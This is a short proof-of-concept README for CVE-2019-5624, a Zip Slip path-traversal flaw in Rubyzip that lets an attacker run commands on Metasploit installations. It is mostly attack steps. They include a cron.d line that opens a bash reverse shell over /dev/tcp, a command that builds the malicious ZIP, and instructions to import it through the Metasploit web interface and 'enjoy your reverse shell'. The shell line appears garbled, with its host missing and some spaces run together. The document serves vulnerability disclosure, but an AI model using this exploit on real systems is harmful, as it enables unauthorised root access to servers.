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A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE)


In February 2019 I found a new vulnerability in the Rubyzip library. It allows an attacker to exploit insecure ZIP handling (Zip Slip) resulting in remote command execution.

This vulnerability was leveraged to targets all Metasploit versions < 5.0.18 Metasploit Wrap-Up

I've made this detailed blog post explaining the vulnerability.


  • Create a file with the following content:
* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/ 1>&0 2>&0 0<&196;exec196<>/dev/tcp/; bash <&196 >&196 2>&196"
  • Generate the ZIP archive with the path traversal payload:
python exploit --os unix -p etc/cron.d/
  • Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)
  • Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)
  • Login in the MSF Web Interface
  • Create a new “Project”
  • Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button
  • Wait for the import process to finish
  • Enjoy your reverse shell


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